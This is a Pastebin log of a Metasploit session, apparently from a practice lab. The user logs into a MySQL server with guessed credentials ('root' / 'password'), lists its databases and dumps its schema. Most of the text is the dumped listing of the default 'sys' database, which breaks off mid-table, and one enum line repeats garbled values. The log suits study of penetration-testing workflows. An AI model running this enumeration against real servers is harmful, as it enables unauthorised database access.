API tools faq
paste
DannyTomCom

spool

DannyTomCom
Mar 29th, 2022 (edited)
1,436
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 140.88 KB | None | 0 0
raw download clone embed print report
  1. [*] Spooling to file output.log...
  2. msf6 auxiliary(admin/mysql/mysql_sql) > exploit
  3. [*] Running module against 10.10.40.69
  4.  
  5. [*] 10.10.40.69:3306 - Sending statement: 'select version()'...
  6. [*] 10.10.40.69:3306 -  | 5.7.29-0ubuntu0.18.04.1 |
  7. [*] Auxiliary module execution completed
  8. msf6 auxiliary(admin/mysql/mysql_sql) > set shosql show databases
  9. sql => show databases
  10. msf6 auxiliary(admin/mysql/mysql_sql) > exploit
  11. [*] Running module against 10.10.40.69
  12.  
  13. [*] 10.10.40.69:3306 - Sending statement: 'show databases'...
  14. [*] 10.10.40.69:3306 -  | information_schema |
  15. [*] 10.10.40.69:3306 -  | mysql |
  16. [*] 10.10.40.69:3306 -  | performance_schema |
  17. [*] 10.10.40.69:3306 -  | sys |
  18. [*] Auxiliary module execution completed
  19. msf6 auxiliary(admin/mysql/mysql_sql) > dsearch mysql_shchemadump
  20. 
  21. Matching Modules
  22. ================
  23.  
  24.    #  Name                                      Disclosure Date  Rank    Check  Description
  25.    -  ----                                      ---------------  ----    -----  -----------
  26.    0  auxiliary/scanner/mysql/mysql_schemadump                   normal  No     MYSQL Schema Dump
  27.  
  28.  
  29. Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/mysql/mysql_schemadump
  30.  
  31. msf6 auxiliary(admin/mysql/mysql_sql) > use -0
  32. msf6 auxiliary(scanner/mysql/mysql_schemadump) > set rhost 10.10.40.69
  33. rhost => 10.10.40.69
  34. msf6 auxiliary(scanner/mysql/mysql_schemadump) > set username administrator
  35. username => administrator
  36. msf6 auxiliary(scanner/mysql/mysql_schemadump) > set password password
  37. password => password
  38. msf6 auxiliary(scanner/mysql/mysql_schemadump) > exploit
  39. 
  40. [-] 10.10.40.69:3306      - Access denied
  41. [*] 10.10.40.69:3306      - Scanned 1 of 1 hosts (100% complete)
  42. [*] Auxiliary module execution completed
  43. msf6 auxiliary(scanner/mysql/mysql_schemadump) > set username root
  44. username => root
  45. msf6 auxiliary(scanner/mysql/mysql_schemadump) > exploit
  46. 
  47. [+] 10.10.40.69:3306      - Schema stored in: /home/unknownix/.msf4/loot/20220329160141_default_10.10.40.69_mysql_schema_101848.txt
  48. [+] 10.10.40.69:3306      - MySQL Server Schema
  49.  Host: 10.10.40.69
  50.  Port: 3306
  51.  ====================
  52.  
  53. ---
  54. - DBName: sys
  55.   Tables:
  56.   - TableName: host_summary
  57.     Columns:
  58.     - ColumnName: host
  59.       ColumnType: varchar(60)
  60.     - ColumnName: statements
  61.       ColumnType: decimal(64,0)
  62.     - ColumnName: statement_latency
  63.       ColumnType: text
  64.     - ColumnName: statement_avg_latency
  65.       ColumnType: text
  66.     - ColumnName: table_scans
  67.       ColumnType: decimal(65,0)
  68.     - ColumnName: file_ios
  69.       ColumnType: decimal(64,0)
  70.     - ColumnName: file_io_latency
  71.       ColumnType: text
  72.     - ColumnName: current_connections
  73.       ColumnType: decimal(41,0)
  74.     - ColumnName: total_connections
  75.       ColumnType: decimal(41,0)
  76.     - ColumnName: unique_users
  77.       ColumnType: bigint(21)
  78.     - ColumnName: current_memory
  79.       ColumnType: text
  80.     - ColumnName: total_memory_allocated
  81.       ColumnType: text
  82.   - TableName: host_summary_by_file_io
  83.     Columns:
  84.     - ColumnName: host
  85.       ColumnType: varchar(60)
  86.     - ColumnName: ios
  87.       ColumnType: decimal(42,0)
  88.     - ColumnName: io_latency
  89.       ColumnType: text
  90.   - TableName: host_summary_by_file_io_type
  91.     Columns:
  92.     - ColumnName: host
  93.       ColumnType: varchar(60)
  94.     - ColumnName: event_name
  95.       ColumnType: varchar(128)
  96.     - ColumnName: total
  97.       ColumnType: bigint(20) unsigned
  98.     - ColumnName: total_latency
  99.       ColumnType: text
  100.     - ColumnName: max_latency
  101.       ColumnType: text
  102.   - TableName: host_summary_by_stages
  103.     Columns:
  104.     - ColumnName: host
  105.       ColumnType: varchar(60)
  106.     - ColumnName: event_name
  107.       ColumnType: varchar(128)
  108.     - ColumnName: total
  109.       ColumnType: bigint(20) unsigned
  110.     - ColumnName: total_latency
  111.       ColumnType: text
  112.     - ColumnName: avg_latency
  113.       ColumnType: text
  114.   - TableName: host_summary_by_statement_latency
  115.     Columns:
  116.     - ColumnName: host
  117.       ColumnType: varchar(60)
  118.     - ColumnName: total
  119.       ColumnType: decimal(42,0)
  120.     - ColumnName: total_latency
  121.       ColumnType: text
  122.     - ColumnName: max_latency
  123.       ColumnType: text
  124.     - ColumnName: lock_latency
  125.       ColumnType: text
  126.     - ColumnName: rows_sent
  127.       ColumnType: decimal(42,0)
  128.     - ColumnName: rows_examined
  129.       ColumnType: decimal(42,0)
  130.     - ColumnName: rows_affected
  131.       ColumnType: decimal(42,0)
  132.     - ColumnName: full_scans
  133.       ColumnType: decimal(43,0)
  134.   - TableName: host_summary_by_statement_type
  135.     Columns:
  136.     - ColumnName: host
  137.       ColumnType: varchar(60)
  138.     - ColumnName: statement
  139.       ColumnType: varchar(128)
  140.     - ColumnName: total
  141.       ColumnType: bigint(20) unsigned
  142.     - ColumnName: total_latency
  143.       ColumnType: text
  144.     - ColumnName: max_latency
  145.       ColumnType: text
  146.     - ColumnName: lock_latency
  147.       ColumnType: text
  148.     - ColumnName: rows_sent
  149.       ColumnType: bigint(20) unsigned
  150.     - ColumnName: rows_examined
  151.       ColumnType: bigint(20) unsigned
  152.     - ColumnName: rows_affected
  153.       ColumnType: bigint(20) unsigned
  154.     - ColumnName: full_scans
  155.       ColumnType: bigint(21) unsigned
  156.   - TableName: innodb_buffer_stats_by_schema
  157.     Columns:
  158.     - ColumnName: object_schema
  159.       ColumnType: text
  160.     - ColumnName: allocated
  161.       ColumnType: text
  162.     - ColumnName: data
  163.       ColumnType: text
  164.     - ColumnName: pages
  165.       ColumnType: bigint(21)
  166.     - ColumnName: pages_hashed
  167.       ColumnType: bigint(21)
  168.     - ColumnName: pages_old
  169.       ColumnType: bigint(21)
  170.     - ColumnName: rows_cached
  171.       ColumnType: decimal(44,0)
  172.   - TableName: innodb_buffer_stats_by_table
  173.     Columns:
  174.     - ColumnName: object_schema
  175.       ColumnType: text
  176.     - ColumnName: object_name
  177.       ColumnType: text
  178.     - ColumnName: allocated
  179.       ColumnType: text
  180.     - ColumnName: data
  181.       ColumnType: text
  182.     - ColumnName: pages
  183.       ColumnType: bigint(21)
  184.     - ColumnName: pages_hashed
  185.       ColumnType: bigint(21)
  186.     - ColumnName: pages_old
  187.       ColumnType: bigint(21)
  188.     - ColumnName: rows_cached
  189.       ColumnType: decimal(44,0)
  190.   - TableName: innodb_lock_waits
  191.     Columns:
  192.     - ColumnName: wait_started
  193.       ColumnType: datetime
  194.     - ColumnName: wait_age
  195.       ColumnType: time
  196.     - ColumnName: wait_age_secs
  197.       ColumnType: bigint(21)
  198.     - ColumnName: locked_table
  199.       ColumnType: varchar(1024)
  200.     - ColumnName: locked_index
  201.       ColumnType: varchar(1024)
  202.     - ColumnName: locked_type
  203.       ColumnType: varchar(32)
  204.     - ColumnName: waiting_trx_id
  205.       ColumnType: varchar(18)
  206.     - ColumnName: waiting_trx_started
  207.       ColumnType: datetime
  208.     - ColumnName: waiting_trx_age
  209.       ColumnType: time
  210.     - ColumnName: waiting_trx_rows_locked
  211.       ColumnType: bigint(21) unsigned
  212.     - ColumnName: waiting_trx_rows_modified
  213.       ColumnType: bigint(21) unsigned
  214.     - ColumnName: waiting_pid
  215.       ColumnType: bigint(21) unsigned
  216.     - ColumnName: waiting_query
  217.       ColumnType: longtext
  218.     - ColumnName: waiting_lock_id
  219.       ColumnType: varchar(81)
  220.     - ColumnName: waiting_lock_mode
  221.       ColumnType: varchar(32)
  222.     - ColumnName: blocking_trx_id
  223.       ColumnType: varchar(18)
  224.     - ColumnName: blocking_pid
  225.       ColumnType: bigint(21) unsigned
  226.     - ColumnName: blocking_query
  227.       ColumnType: longtext
  228.     - ColumnName: blocking_lock_id
  229.       ColumnType: varchar(81)
  230.     - ColumnName: blocking_lock_mode
  231.       ColumnType: varchar(32)
  232.     - ColumnName: blocking_trx_started
  233.       ColumnType: datetime
  234.     - ColumnName: blocking_trx_age
  235.       ColumnType: time
  236.     - ColumnName: blocking_trx_rows_locked
  237.       ColumnType: bigint(21) unsigned
  238.     - ColumnName: blocking_trx_rows_modified
  239.       ColumnType: bigint(21) unsigned
  240.     - ColumnName: sql_kill_blocking_query
  241.       ColumnType: varchar(32)
  242.     - ColumnName: sql_kill_blocking_connection
  243.       ColumnType: varchar(26)
  244.   - TableName: io_by_thread_by_latency
  245.     Columns:
  246.     - ColumnName: user
  247.       ColumnType: varchar(128)
  248.     - ColumnName: total
  249.       ColumnType: decimal(42,0)
  250.     - ColumnName: total_latency
  251.       ColumnType: text
  252.     - ColumnName: min_latency
  253.       ColumnType: text
  254.     - ColumnName: avg_latency
  255.       ColumnType: text
  256.     - ColumnName: max_latency
  257.       ColumnType: text
  258.     - ColumnName: thread_id
  259.       ColumnType: bigint(20) unsigned
  260.     - ColumnName: processlist_id
  261.       ColumnType: bigint(20) unsigned
  262.   - TableName: io_global_by_file_by_bytes
  263.     Columns:
  264.     - ColumnName: file
  265.       ColumnType: varchar(512)
  266.     - ColumnName: count_read
  267.       ColumnType: bigint(20) unsigned
  268.     - ColumnName: total_read
  269.       ColumnType: text
  270.     - ColumnName: avg_read
  271.       ColumnType: text
  272.     - ColumnName: count_write
  273.       ColumnType: bigint(20) unsigned
  274.     - ColumnName: total_written
  275.       ColumnType: text
  276.     - ColumnName: avg_write
  277.       ColumnType: text
  278.     - ColumnName: total
  279.       ColumnType: text
  280.     - ColumnName: write_pct
  281.       ColumnType: decimal(26,2)
  282.   - TableName: io_global_by_file_by_latency
  283.     Columns:
  284.     - ColumnName: file
  285.       ColumnType: varchar(512)
  286.     - ColumnName: total
  287.       ColumnType: bigint(20) unsigned
  288.     - ColumnName: total_latency
  289.       ColumnType: text
  290.     - ColumnName: count_read
  291.       ColumnType: bigint(20) unsigned
  292.     - ColumnName: read_latency
  293.       ColumnType: text
  294.     - ColumnName: count_write
  295.       ColumnType: bigint(20) unsigned
  296.     - ColumnName: write_latency
  297.       ColumnType: text
  298.     - ColumnName: count_misc
  299.       ColumnType: bigint(20) unsigned
  300.     - ColumnName: misc_latency
  301.       ColumnType: text
  302.   - TableName: io_global_by_wait_by_bytes
  303.     Columns:
  304.     - ColumnName: event_name
  305.       ColumnType: varchar(128)
  306.     - ColumnName: total
  307.       ColumnType: bigint(20) unsigned
  308.     - ColumnName: total_latency
  309.       ColumnType: text
  310.     - ColumnName: min_latency
  311.       ColumnType: text
  312.     - ColumnName: avg_latency
  313.       ColumnType: text
  314.     - ColumnName: max_latency
  315.       ColumnType: text
  316.     - ColumnName: count_read
  317.       ColumnType: bigint(20) unsigned
  318.     - ColumnName: total_read
  319.       ColumnType: text
  320.     - ColumnName: avg_read
  321.       ColumnType: text
  322.     - ColumnName: count_write
  323.       ColumnType: bigint(20) unsigned
  324.     - ColumnName: total_written
  325.       ColumnType: text
  326.     - ColumnName: avg_written
  327.       ColumnType: text
  328.     - ColumnName: total_requested
  329.       ColumnType: text
  330.   - TableName: io_global_by_wait_by_latency
  331.     Columns:
  332.     - ColumnName: event_name
  333.       ColumnType: varchar(128)
  334.     - ColumnName: total
  335.       ColumnType: bigint(20) unsigned
  336.     - ColumnName: total_latency
  337.       ColumnType: text
  338.     - ColumnName: avg_latency
  339.       ColumnType: text
  340.     - ColumnName: max_latency
  341.       ColumnType: text
  342.     - ColumnName: read_latency
  343.       ColumnType: text
  344.     - ColumnName: write_latency
  345.       ColumnType: text
  346.     - ColumnName: misc_latency
  347.       ColumnType: text
  348.     - ColumnName: count_read
  349.       ColumnType: bigint(20) unsigned
  350.     - ColumnName: total_read
  351.       ColumnType: text
  352.     - ColumnName: avg_read
  353.       ColumnType: text
  354.     - ColumnName: count_write
  355.       ColumnType: bigint(20) unsigned
  356.     - ColumnName: total_written
  357.       ColumnType: text
  358.     - ColumnName: avg_written
  359.       ColumnType: text
  360.   - TableName: latest_file_io
  361.     Columns:
  362.     - ColumnName: thread
  363.       ColumnType: varchar(149)
  364.     - ColumnName: file
  365.       ColumnType: varchar(512)
  366.     - ColumnName: latency
  367.       ColumnType: text
  368.     - ColumnName: operation
  369.       ColumnType: varchar(32)
  370.     - ColumnName: requested
  371.       ColumnType: text
  372.   - TableName: memory_by_host_by_current_bytes
  373.     Columns:
  374.     - ColumnName: host
  375.       ColumnType: varchar(60)
  376.     - ColumnName: current_count_used
  377.       ColumnType: decimal(41,0)
  378.     - ColumnName: current_allocated
  379.       ColumnType: text
  380.     - ColumnName: current_avg_alloc
  381.       ColumnType: text
  382.     - ColumnName: current_max_alloc
  383.       ColumnType: text
  384.     - ColumnName: total_allocated
  385.       ColumnType: text
  386.   - TableName: memory_by_thread_by_current_bytes
  387.     Columns:
  388.     - ColumnName: thread_id
  389.       ColumnType: bigint(20) unsigned
  390.     - ColumnName: user
  391.       ColumnType: varchar(128)
  392.     - ColumnName: current_count_used
  393.       ColumnType: decimal(41,0)
  394.     - ColumnName: current_allocated
  395.       ColumnType: text
  396.     - ColumnName: current_avg_alloc
  397.       ColumnType: text
  398.     - ColumnName: current_max_alloc
  399.       ColumnType: text
  400.     - ColumnName: total_allocated
  401.       ColumnType: text
  402.   - TableName: memory_by_user_by_current_bytes
  403.     Columns:
  404.     - ColumnName: user
  405.       ColumnType: varchar(32)
  406.     - ColumnName: current_count_used
  407.       ColumnType: decimal(41,0)
  408.     - ColumnName: current_allocated
  409.       ColumnType: text
  410.     - ColumnName: current_avg_alloc
  411.       ColumnType: text
  412.     - ColumnName: current_max_alloc
  413.       ColumnType: text
  414.     - ColumnName: total_allocated
  415.       ColumnType: text
  416.   - TableName: memory_global_by_current_bytes
  417.     Columns:
  418.     - ColumnName: event_name
  419.       ColumnType: varchar(128)
  420.     - ColumnName: current_count
  421.       ColumnType: bigint(20)
  422.     - ColumnName: current_alloc
  423.       ColumnType: text
  424.     - ColumnName: current_avg_alloc
  425.       ColumnType: text
  426.     - ColumnName: high_count
  427.       ColumnType: bigint(20)
  428.     - ColumnName: high_alloc
  429.       ColumnType: text
  430.     - ColumnName: high_avg_alloc
  431.       ColumnType: text
  432.   - TableName: memory_global_total
  433.     Columns:
  434.     - ColumnName: total_allocated
  435.       ColumnType: text
  436.   - TableName: metrics
  437.     Columns:
  438.     - ColumnName: Variable_name
  439.       ColumnType: varchar(193)
  440.     - ColumnName: Variable_value
  441.       ColumnType: text
  442.     - ColumnName: Type
  443.       ColumnType: varchar(210)
  444.     - ColumnName: Enabled
  445.       ColumnType: varchar(7)
  446.   - TableName: processlist
  447.     Columns:
  448.     - ColumnName: thd_id
  449.       ColumnType: bigint(20) unsigned
  450.     - ColumnName: conn_id
  451.       ColumnType: bigint(20) unsigned
  452.     - ColumnName: user
  453.       ColumnType: varchar(128)
  454.     - ColumnName: db
  455.       ColumnType: varchar(64)
  456.     - ColumnName: command
  457.       ColumnType: varchar(16)
  458.     - ColumnName: state
  459.       ColumnType: varchar(64)
  460.     - ColumnName: time
  461.       ColumnType: bigint(20)
  462.     - ColumnName: current_statement
  463.       ColumnType: longtext
  464.     - ColumnName: statement_latency
  465.       ColumnType: text
  466.     - ColumnName: progress
  467.       ColumnType: decimal(26,2)
  468.     - ColumnName: lock_latency
  469.       ColumnType: text
  470.     - ColumnName: rows_examined
  471.       ColumnType: bigint(20) unsigned
  472.     - ColumnName: rows_sent
  473.       ColumnType: bigint(20) unsigned
  474.     - ColumnName: rows_affected
  475.       ColumnType: bigint(20) unsigned
  476.     - ColumnName: tmp_tables
  477.       ColumnType: bigint(20) unsigned
  478.     - ColumnName: tmp_disk_tables
  479.       ColumnType: bigint(20) unsigned
  480.     - ColumnName: full_scan
  481.       ColumnType: varchar(3)
  482.     - ColumnName: last_statement
  483.       ColumnType: longtext
  484.     - ColumnName: last_statement_latency
  485.       ColumnType: text
  486.     - ColumnName: current_memory
  487.       ColumnType: text
  488.     - ColumnName: last_wait
  489.       ColumnType: varchar(128)
  490.     - ColumnName: last_wait_latency
  491.       ColumnType: text
  492.     - ColumnName: source
  493.       ColumnType: varchar(64)
  494.     - ColumnName: trx_latency
  495.       ColumnType: text
  496.     - ColumnName: trx_state
  497.       ColumnType: enum('ACTIVE','COMMITTED','ROLLED BACK')
  498.     - ColumnName: trx_autocommit
  499.       ColumnType: enum('YES','NO')
  500.     - ColumnName: pid
  501.       ColumnType: varchar(1024)
  502.     - ColumnName: program_name
  503.       ColumnType: varchar(1024)
  504.   - TableName: ps_check_lost_instrumentation
  505.     Columns:
  506.     - ColumnName: variable_name
  507.       ColumnType: varchar(64)
  508.     - ColumnName: variable_value
  509.       ColumnType: varchar(1024)
  510.   - TableName: schema_auto_increment_columns
  511.     Columns:
  512.     - ColumnName: table_schema
  513.       ColumnType: varchar(64)
  514.     - ColumnName: table_name
  515.       ColumnType: varchar(64)
  516.     - ColumnName: column_name
  517.       ColumnType: varchar(64)
  518.     - ColumnName: data_type
  519.       ColumnType: varchar(64)
  520.     - ColumnName: column_type
  521.       ColumnType: longtext
  522.     - ColumnName: is_signed
  523.       ColumnType: int(1)
  524.     - ColumnName: is_unsigned
  525.       ColumnType: int(1)
  526.     - ColumnName: max_value
  527.       ColumnType: bigint(21) unsigned
  528.     - ColumnName: auto_increment
  529.       ColumnType: bigint(21) unsigned
  530.     - ColumnName: auto_increment_ratio
  531.       ColumnType: decimal(25,4) unsigned
  532.   - TableName: schema_index_statistics
  533.     Columns:
  534.     - ColumnName: table_schema
  535.       ColumnType: varchar(64)
  536.     - ColumnName: table_name
  537.       ColumnType: varchar(64)
  538.     - ColumnName: index_name
  539.       ColumnType: varchar(64)
  540.     - ColumnName: rows_selected
  541.       ColumnType: bigint(20) unsigned
  542.     - ColumnName: select_latency
  543.       ColumnType: text
  544.     - ColumnName: rows_inserted
  545.       ColumnType: bigint(20) unsigned
  546.     - ColumnName: insert_latency
  547.       ColumnType: text
  548.     - ColumnName: rows_updated
  549.       ColumnType: bigint(20) unsigned
  550.     - ColumnName: update_latency
  551.       ColumnType: text
  552.     - ColumnName: rows_deleted
  553.       ColumnType: bigint(20) unsigned
  554.     - ColumnName: delete_latency
  555.       ColumnType: text
  556.   - TableName: schema_object_overview
  557.     Columns:
  558.     - ColumnName: db
  559.       ColumnType: varchar(64)
  560.     - ColumnName: object_type
  561.       ColumnType: varchar(64)
  562.     - ColumnName: count
  563.       ColumnType: bigint(21)
  564.   - TableName: schema_redundant_indexes
  565.     Columns:
  566.     - ColumnName: table_schema
  567.       ColumnType: varchar(64)
  568.     - ColumnName: table_name
  569.       ColumnType: varchar(64)
  570.     - ColumnName: redundant_index_name
  571.       ColumnType: varchar(64)
  572.     - ColumnName: redundant_index_columns
  573.       ColumnType: text
  574.     - ColumnName: redundant_index_non_unique
  575.       ColumnType: bigint(1)
  576.     - ColumnName: dominant_index_name
  577.       ColumnType: varchar(64)
  578.     - ColumnName: dominant_index_columns
  579.       ColumnType: text
  580.     - ColumnName: dominant_index_non_unique
  581.       ColumnType: bigint(1)
  582.     - ColumnName: subpart_exists
  583.       ColumnType: int(1)
  584.     - ColumnName: sql_drop_index
  585.       ColumnType: varchar(223)
  586.   - TableName: schema_table_lock_waits
  587.     Columns:
  588.     - ColumnName: object_schema
  589.       ColumnType: varchar(64)
  590.     - ColumnName: object_name
  591.       ColumnType: varchar(64)
  592.     - ColumnName: waiting_thread_id
  593.       ColumnType: bigint(20) unsigned
  594.     - ColumnName: waiting_pid
  595.       ColumnType: bigint(20) unsigned
  596.     - ColumnName: waiting_account
  597.       ColumnType: text
  598.     - ColumnName: waiting_lock_type
  599.       ColumnType: varchar(32)
  600.     - ColumnName: waiting_lock_duration
  601.       ColumnType: varchar(32)
  602.     - ColumnName: waiting_query
  603.       ColumnType: longtext
  604.     - ColumnName: waiting_query_secs
  605.       ColumnType: bigint(20)
  606.     - ColumnName: waiting_query_rows_affected
  607.       ColumnType: bigint(20) unsigned
  608.     - ColumnName: waiting_query_rows_examined
  609.       ColumnType: bigint(20) unsigned
  610.     - ColumnName: blocking_thread_id
  611.       ColumnType: bigint(20) unsigned
  612.     - ColumnName: blocking_pid
  613.       ColumnType: bigint(20) unsigned
  614.     - ColumnName: blocking_account
  615.       ColumnType: text
  616.     - ColumnName: blocking_lock_type
  617.       ColumnType: varchar(32)
  618.     - ColumnName: blocking_lock_duration
  619.       ColumnType: varchar(32)
  620.     - ColumnName: sql_kill_blocking_query
  621.       ColumnType: varchar(31)
  622.     - ColumnName: sql_kill_blocking_connection
  623.       ColumnType: varchar(25)
  624.   - TableName: schema_table_statistics
  625.     Columns:
  626.     - ColumnName: table_schema
  627.       ColumnType: varchar(64)
  628.     - ColumnName: table_name
  629.       ColumnType: varchar(64)
  630.     - ColumnName: total_latency
  631.       ColumnType: text
  632.     - ColumnName: rows_fetched
  633.       ColumnType: bigint(20) unsigned
  634.     - ColumnName: fetch_latency
  635.       ColumnType: text
  636.     - ColumnName: rows_inserted
  637.       ColumnType: bigint(20) unsigned
  638.     - ColumnName: insert_latency
  639.       ColumnType: text
  640.     - ColumnName: rows_updated
  641.       ColumnType: bigint(20) unsigned
  642.     - ColumnName: update_latency
  643.       ColumnType: text
  644.     - ColumnName: rows_deleted
  645.       ColumnType: bigint(20) unsigned
  646.     - ColumnName: delete_latency
  647.       ColumnType: text
  648.     - ColumnName: io_read_requests
  649.       ColumnType: decimal(42,0)
  650.     - ColumnName: io_read
  651.       ColumnType: text
  652.     - ColumnName: io_read_latency
  653.       ColumnType: text
  654.     - ColumnName: io_write_requests
  655.       ColumnType: decimal(42,0)
  656.     - ColumnName: io_write
  657.       ColumnType: text
  658.     - ColumnName: io_write_latency
  659.       ColumnType: text
  660.     - ColumnName: io_misc_requests
  661.       ColumnType: decimal(42,0)
  662.     - ColumnName: io_misc_latency
  663.       ColumnType: text
  664.   - TableName: schema_table_statistics_with_buffer
  665.     Columns:
  666.     - ColumnName: table_schema
  667.       ColumnType: varchar(64)
  668.     - ColumnName: table_name
  669.       ColumnType: varchar(64)
  670.     - ColumnName: rows_fetched
  671.       ColumnType: bigint(20) unsigned
  672.     - ColumnName: fetch_latency
  673.       ColumnType: text
  674.     - ColumnName: rows_inserted
  675.       ColumnType: bigint(20) unsigned
  676.     - ColumnName: insert_latency
  677.       ColumnType: text
  678.     - ColumnName: rows_updated
  679.       ColumnType: bigint(20) unsigned
  680.     - ColumnName: update_latency
  681.       ColumnType: text
  682.     - ColumnName: rows_deleted
  683.       ColumnType: bigint(20) unsigned
  684.     - ColumnName: delete_latency
  685.       ColumnType: text
  686.     - ColumnName: io_read_requests
  687.       ColumnType: decimal(42,0)
  688.     - ColumnName: io_read
  689.       ColumnType: text
  690.     - ColumnName: io_read_latency
  691.       ColumnType: text
  692.     - ColumnName: io_write_requests
  693.       ColumnType: decimal(42,0)
  694.     - ColumnName: io_write
  695.       ColumnType: text
  696.     - ColumnName: io_write_latency
  697.       ColumnType: text
  698.     - ColumnName: io_misc_requests
  699.       ColumnType: decimal(42,0)
  700.     - ColumnName: io_misc_latency
  701.       ColumnType: text
  702.     - ColumnName: innodb_buffer_allocated
  703.       ColumnType: text
  704.     - ColumnName: innodb_buffer_data
  705.       ColumnType: text
  706.     - ColumnName: innodb_buffer_free
  707.       ColumnType: text
  708.     - ColumnName: innodb_buffer_pages
  709.       ColumnType: bigint(21)
  710.     - ColumnName: innodb_buffer_pages_hashed
  711.       ColumnType: bigint(21)
  712.     - ColumnName: innodb_buffer_pages_old
  713.       ColumnType: bigint(21)
  714.     - ColumnName: innodb_buffer_rows_cached
  715.       ColumnType: decimal(44,0)
  716.   - TableName: schema_tables_with_full_table_scans
  717.     Columns:
  718.     - ColumnName: object_schema
  719.       ColumnType: varchar(64)
  720.     - ColumnName: object_name
  721.       ColumnType: varchar(64)
  722.     - ColumnName: rows_full_scanned
  723.       ColumnType: bigint(20) unsigned
  724.     - ColumnName: latency
  725.       ColumnType: text
  726.   - TableName: schema_unused_indexes
  727.     Columns:
  728.     - ColumnName: object_schema
  729.       ColumnType: varchar(64)
  730.     - ColumnName: object_name
  731.       ColumnType: varchar(64)
  732.     - ColumnName: index_name
  733.       ColumnType: varchar(64)
  734.   - TableName: session
  735.     Columns:
  736.     - ColumnName: thd_id
  737.       ColumnType: bigint(20) unsigned
  738.     - ColumnName: conn_id
  739.       ColumnType: bigint(20) unsigned
  740.     - ColumnName: user
  741.       ColumnType: varchar(128)
  742.     - ColumnName: db
  743.       ColumnType: varchar(64)
  744.     - ColumnName: command
  745.       ColumnType: varchar(16)
  746.     - ColumnName: state
  747.       ColumnType: varchar(64)
  748.     - ColumnName: time
  749.       ColumnType: bigint(20)
  750.     - ColumnName: current_statement
  751.       ColumnType: longtext
  752.     - ColumnName: statement_latency
  753.       ColumnType: text
  754.     - ColumnName: progress
  755.       ColumnType: decimal(26,2)
  756.     - ColumnName: lock_latency
  757.       ColumnType: text
  758.     - ColumnName: rows_examined
  759.       ColumnType: bigint(20) unsigned
  760.     - ColumnName: rows_sent
  761.       ColumnType: bigint(20) unsigned
  762.     - ColumnName: rows_affected
  763.       ColumnType: bigint(20) unsigned
  764.     - ColumnName: tmp_tables
  765.       ColumnType: bigint(20) unsigned
  766.     - ColumnName: tmp_disk_tables
  767.       ColumnType: bigint(20) unsigned
  768.     - ColumnName: full_scan
  769.       ColumnType: varchar(3)
  770.     - ColumnName: last_statement
  771.       ColumnType: longtext
  772.     - ColumnName: last_statement_latency
  773.       ColumnType: text
  774.     - ColumnName: current_memory
  775.       ColumnType: text
  776.     - ColumnName: last_wait
  777.       ColumnType: varchar(128)
  778.     - ColumnName: last_wait_latency
  779.       ColumnType: text
  780.     - ColumnName: source
  781.       ColumnType: varchar(64)
  782.     - ColumnName: trx_latency
  783.       ColumnType: text
  784.     - ColumnName: trx_state
  785.       ColumnType: enum('ACTIVE','COMMITTED','ROLLED BACK')
  786.     - ColumnName: trx_autocommit
  787.       ColumnType: enum('YES','NO''ACTIVE','COMMITTED','ROLLED BACK')
  788.     - ColumnName: trx_autocommit
  789.       ColumnType: enum('YES','NO')
  790.     - ColumnName: pid
  791.       ColumnType: varchar(1024)
  792.     - ColumnName: program_name
  793.       ColumnType: varchar(1024)
  794.   - TableName: x$ps_digest_95th_percentile_by_avg_us
  795.     Columns:
  796.     - ColumnName: avg_us
  797.       ColumnType: decimal(21,0)
  798.     - ColumnName: percentile
  799.       ColumnType: decimal(46,4)
  800.   - TableName: x$ps_digest_avg_latency_distribution
  801.     Columns:
  802.     - ColumnName: cnt
  803.       ColumnType: bigint(21)
  804.     - ColumnName: avg_us
  805.       ColumnType: decimal(21,0)
  806.   - TableName: x$ps_schema_table_statistics_io
  807.     Columns:
  808.     - ColumnName: table_schema
  809.       ColumnType: varchar(64)
  810.     - ColumnName: table_name
  811.       ColumnType: varchar(64)
  812.     - ColumnName: count_read
  813.       ColumnType: decimal(42,0)
  814.     - ColumnName: sum_number_of_bytes_read
  815.       ColumnType: decimal(41,0)
  816.     - ColumnName: sum_timer_read
  817.       ColumnType: decimal(42,0)
  818.     - ColumnName: count_write
  819.       ColumnType: decimal(42,0)
  820.     - ColumnName: sum_number_of_bytes_write
  821.       ColumnType: decimal(41,0)
  822.     - ColumnName: sum_timer_write
  823.       ColumnType: decimal(42,0)
  824.     - ColumnName: count_misc
  825.       ColumnType: decimal(42,0)
  826.     - ColumnName: sum_timer_misc
  827.       ColumnType: decimal(42,0)
  828.   - TableName: x$schema_flattened_keys
  829.     Columns:
  830.     - ColumnName: table_schema
  831.       ColumnType: varchar(64)
  832.     - ColumnName: table_name
  833.       ColumnType: varchar(64)
  834.     - ColumnName: index_name
  835.       ColumnType: varchar(64)
  836.     - ColumnName: non_unique
  837.       ColumnType: bigint(1)
  838.     - ColumnName: subpart_exists
  839.       ColumnType: bigint(1)
  840.     - ColumnName: index_columns
  841.       ColumnType: text
  842.   - TableName: x$schema_index_statistics
  843.     Columns:
  844.     - ColumnName: table_schema
  845.       ColumnType: varchar(64)
  846.     - ColumnName: table_name
  847.       ColumnType: varchar(64)
  848.     - ColumnName: index_name
  849.       ColumnType: varchar(64)
  850.     - ColumnName: rows_selected
  851.       ColumnType: bigint(20) unsigned
  852.     - ColumnName: select_latency
  853.       ColumnType: bigint(20) unsigned
  854.     - ColumnName: rows_inserted
  855.       ColumnType: bigint(20) unsigned
  856.     - ColumnName: insert_latency
  857.       ColumnType: bigint(20) unsigned
  858.     - ColumnName: rows_updated
  859.       ColumnType: bigint(20) unsigned
  860.     - ColumnName: update_latency
  861.       ColumnType: bigint(20) unsigned
  862.     - ColumnName: rows_deleted
  863.       ColumnType: bigint(20) unsigned
  864.     - ColumnName: delete_latency
  865.       ColumnType: bigint(20) unsigned
  866.   - TableName: x$schema_table_lock_waits
  867.     Columns:
  868.     - ColumnName: object_schema
  869.       ColumnType: varchar(64)
  870.     - ColumnName: object_name
  871.       ColumnType: varchar(64)
  872.     - ColumnName: waiting_thread_id
  873.       ColumnType: bigint(20) unsigned
  874.     - ColumnName: waiting_pid
  875.       ColumnType: bigint(20) unsigned
  876.     - ColumnName: waiting_account
  877.       ColumnType: text
  878.     - ColumnName: waiting_lock_type
  879.       ColumnType: varchar(32)
  880.     - ColumnName: waiting_lock_duration
  881.       ColumnType: varchar(32)
  882.     - ColumnName: waiting_query
  883.       ColumnType: longtext
  884.     - ColumnName: waiting_query_secs
  885.       ColumnType: bigint(20)
